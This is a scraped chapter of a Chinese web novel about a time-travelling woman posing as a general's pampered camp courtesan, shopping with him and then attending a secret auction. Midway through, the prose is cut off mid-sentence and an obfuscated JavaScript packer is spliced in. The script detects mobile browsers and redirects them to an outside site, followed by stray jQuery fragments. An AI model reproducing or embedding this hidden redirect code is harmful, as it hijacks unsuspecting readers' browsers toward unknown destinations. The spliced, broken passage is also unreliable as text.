默认冷灰
24号文字
方正启体

5. 营妓宠

作者:言禾页本书字数:K更新时间:
    苏远澄抬头,目光直直地盯着小丫头,捕捉到她脸上一丝秘密被窥破般的慌乱。


    但不应欣喜吗?毕竟知道疫苗疤痕的肯定是现代人呀,难道是没有想到吗?


    苏远澄并不能完全确定,眼前的小丫头是否同她一样是穿过来的。


    “哎呦喂,这新来的小贱婢,手脚没个轻重,可是冲撞了贵人?”牙行掌柜不明所以,快步上前,赔着笑、摁着小丫头就往地上跪。


    “住手,”苏远澄出声阻拦:“是我看中她了。”


    “哎,夫人真是法眼如炬!”掌柜面上恭维地笑,心里却暗骂:尖货没出手,倒卖了个不值钱的小贱人!


    知道现在并不是询问的好时机,苏远澄强行按下探究的心,转身坐下。


    屈邵的眼神一直没有离开她,见她坐下,微微侧头,等她一个解释。


    “她很像我家乡的一个小妹妹。”苏远澄斟酌地回道。


    “如此。”屈邵点点头,不知信了没信。


    “你既选好了,那便走吧。”


    屈邵起身,苏远澄识趣地上前环住他的臂,微微倚靠在他身上。


    “咳咳咳,”感到一团柔软若即若离地贴着上臂,屈邵又是一阵咳嗽,随即掩饰般说道:“对了,你刚点的那几个也一并买下吧,送到和园去。”


    牙行掌柜闻言喜笑颜开,将二人一路送出了店门,连连鞠了好几个躬。


    马车缓缓驶离,向城里另一头的成衣坊驶去。


    路途有些远,苏远澄有一搭没一搭地和屈邵搭话。


    “和园是哪儿,怎么要送到那去?”


    “新买的宅子。”


    “噢。”


    “衣柜那次,你是怎么发现我的?”


    “听呼吸。”


    “噢。”


    “我刚刚演得如何?”


    “可。”


    “噢。”


    屈邵往外吐的字越来越少,苏远澄识趣地闭上嘴。她不过是想讨好下这个临时的领导,说不定事成后还能得一笔钱财呢。


    毕竟,她从李妈妈那顺走的银票可不多。


    马车外逐渐嘈杂起来,苏远澄掀开车帘往外看去:前些天的市集虽冷清但还是井然有序,此时却有些混乱了,有偷钱袋子偷热馒头的,还有直接抢了肉就跑的,却也不见加派巡防的衙役。


    怕是前线战事吃紧,进城的难民愈发多了。


    苏远澄放下车帘,略带疑惑地望向闭目养神的屈邵:战况紧急,他却还在这用离间计,只是暂代主将,打赢了也是要还权的,为何不直接领着一可当十的屈家军速战速决呢?


    没等她思考出个究竟,马车就缓缓停下。苏远澄可不想再被抱一次,率先挽着屈邵的手下车。


    成衣坊就在乐营边上,也难怪当初李婆婆把她一人丢在此处,无疑是个自投罗网的局。


    阵仗同样闹得很大,屈邵几乎将整个成衣坊她能穿的都买了下来,还定了十几身冬装,甚至将隔壁的首饰坊都包圆了。


    市集人更多,因而很快便传开了,屈家军那个战神屈邵,新得了个仙女般的营妓,宠得天昏地暗,一掷千金。


    *


    一通买买买完,苏远澄已是饿得前胸贴后背,然而马车似乎没有打道回府的意思,仍往市集深处而去。


    似乎是感受到她幽怨的目光,屈邵掀开车帘吩咐了几句,不多时,就有人递进来一盒餐食。


    苏远澄眼睛一亮,直勾勾地盯着屈邵手中的三层雕花食盒。


    却只见他端出两碗小馄饨。


    苏远澄欲哭无泪,如此大的食盒,原以为有五六道佳肴,装两碗馄饨,未免也太过大材小用了。


    好在屈将军要的,哪怕是一碗馄饨,也极为美味。咸鲜的鸡汤底,细碎喷香的油花与葱花,薄如蝉翼的馄饨皮,包裹着嫩弹的鲜肉,一口下肚,瞬间驱散了深秋的微寒。


    屈邵似乎胃口缺缺,只浅浅嘬了一口汤,便撑着下巴看着苏远澄一小口、一小口进食,最后还将汤都喝了个干净。


    看来是真的饿了,他有些失笑,小女贼总能给他一种错乱感,时而有贵女般的娴雅之态,时而却举止不羁、不知避讳。


    她究竟是何来历,真是让他好奇啊。


    见苏远澄擦了擦嘴角、意犹未尽的模样,屈邵点了点桌面,示意她可以吃自己那碗。


    苏远澄哪敢碰他吃过的馄饨,见鬼般连连摆手:“不必不必,吃饱了吃饱了。”


    心中奇怪:屈邵这是何意?古代人不是最讲男女大防与地位尊卑吗?想到这人赏她的两次蜜饯,估计他就喜欢赏人东西吃吧。


    见她拒绝,屈邵也不勉强,开口道:“带你去个好玩的地方。”


    话音未落,马车就在一栋陈旧低矮且不显眼的楼前停下。


    二人下车,周遭是一片荒凉的林地,甲兵早已尽数散去,只剩了陈戈一人。


    陈戈上前敲了敲侧门,门很快打开一条缝,陈戈从怀中取出一块鎏金的牌子,铜钱样式,上刻“南朱”二字。


    门立马打开,一名身穿南朱绣字外杉的伙计将三人迎了进去。


    进门是一条幽黑的过道,即刻有侍女低着头上前,分别给他们递上一块鎏金色彩的面具,还有一件黑色连帽斗篷。


    见屈邵只取过面具带上,苏远澄便也效仿,不知是什么材质的面具,极轻,带着毫无重量感。


    待三人佩戴好后,侍女便打开一扇隐在墙里的门,领着他们上二楼进入包厢。


    进包厢后,一切豁然开朗。


    越过红木桌椅前的花鸟刺绣屏风,可见整个楼是类似茶馆的半圆形设计,一楼是一张张开放的小桌,二楼则是数十间半开放的包厢,二者都围着中间的戏台紧密排布。


    戏台上方挂满灯笼,照得那部分区域如白昼般透亮。


    一楼的烛火很暗,周遭皆看不分明,只有一条条蜿蜒的过道有些灯光,但在微弱的灯光下,依稀可见一楼的桌椅已坐满了来客,大都商贾打扮,也有几个带刀的江湖人士,脸上都带着碧色的面具。


    二楼的十来个包厢倒只有五间点着烛火,苏远澄一眼就认出斜对面坐着的李妈妈,李妈妈旁边的男子,不出意料的话,就是襄镇监军戴士诚了。


    戴士诚也认出了屈邵,毕竟包厢里杵着的陈戈一直抱着他那把标志性的弯刀。戴士诚遥遥朝他们举了举酒杯,屈邵并没有搭理,只把玩着苏远澄的发梢。


    饶是相隔一段距离,苏远澄都感觉戴士诚黑了脸。


    只见他偏头询问了李妈妈几句,而后意味深长地觑了她一眼。


    忽然间,戏台周遭的光齐齐熄灭,只留正中间一块圆形的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299189|182731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    区域,一月白长袍的男子肃立其中。现场瞬间安静下来,苏远澄的目光也被吸引过去。


    “诸位贵客,承蒙不弃,躬临南朱商帮梓州竞买会,南朱上下不胜感激!”男子向台下作揖,随后郑重道:“请首件珍宝——镶金暖玉席!”


    一件闪着金光的玉席被两名小厮抬了上来,轻轻放在台正中的桌上。


    一块暖玉便极为难寻,这南朱商帮一出手便是一片玉席,众人皆惊叹议论起来。


    此时,苏远澄心中了然,原来是拍卖会呀,虽然她从前也参加过不少,但古代的还是头一次,因此颇有些兴致勃勃。


    “想要?”屈邵不知何时坐到了她身侧,附在她耳边细声道。


    苏远澄的呼吸停了一瞬,吓的,随后摇了摇头。


    “这席虽稀缺,但华而不实,多为些浪荡子弟买回去,助房帷之兴用。”屈邵边说着,边盯着苏远澄光洁的侧脸,却没有看到羞愤之色。


    心下嗤诋:营妓就是营妓。


    此时的苏远澄不想但确实秒懂:嗯……冬天用是吧。


    在外人看来,二人耳鬓厮磨,神情间极是缱绻,檀郎谢女,好不恩爱。


    谈话间,镶金暖玉席已被一包厢以千两银子拍下,随后,又陆陆续续以百两银子拍出几件珍宝。


    期间,戴士诚也随手举拍了几次,但只拿下了一个三百两的小玉扳指,苏远澄估摸着他此行另有所图。


    那屈邵又是来拍什么的呢?苏远澄侧头,屈邵斜靠在另一侧,百无聊赖地玩着她的头发,似乎那些激起轩然大波的珍宝都没有兴趣。


    或者是司空见惯了。


    苏远澄暗自猜测,面具颜色应代表等级,而商帮自然以钱财为重,大概率代表资产等级一类。按官服看,应是紫色、绯色、绿色、碧色,而官之上是皇,便是金色。一楼一水的碧色面具,二楼也只见戴士诚和一商贾男子带绿色面具,足以可见,金色面具之稀有,自然也彰显了屈邵庞大的身家。


    那对几百两的东西没兴趣,便不足为奇了。


    那他来这的目的是什么呢?


    似是被苏远澄盯太久了,屈邵抬眼回视:“有想要的?拍下就是。”


    一副不在乎钱的模样。


    苏远澄闻言些许不忿,她曾经也是不缺钱的,如今虽流落异世、捉襟见肘,但也是有尊严的,为命可以折腰,为钱大可不必。


    正要开口义正言辞地拒绝,台上男子又爆出了一件珍品——李思训真迹的《山居四皓图》,八百两起拍,也是此次竞买会唯一一幅山水画作。


    闻言,台下众人倒是反应平平,只是斜对面的戴士诚坐不住般兴奋地直起身子。


    苏远澄脑子转了转,话音一转:“大人可要与我赌一赌?”


    “噢?赌什么?”屈邵来了兴致。


    “大人给我两千五百两,赌我能用这些从戴士诚手中抢下这幅山水图。”


    从戴士诚手里抢东西?他很乐意给看不顺眼的人添堵。


    只是……此画约值三千两,两千五百两拍得?不知小女贼有何把戏呢。


    屈邵勾唇:“赌注呢?”


    “若我赢了,许我留下拍剩的钱,若我输了,任凭大人处置。”苏远澄粲然一笑,若灼灼牡丹,夺尽周遭颜色。


    屈邵的心狠狠动了一下。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)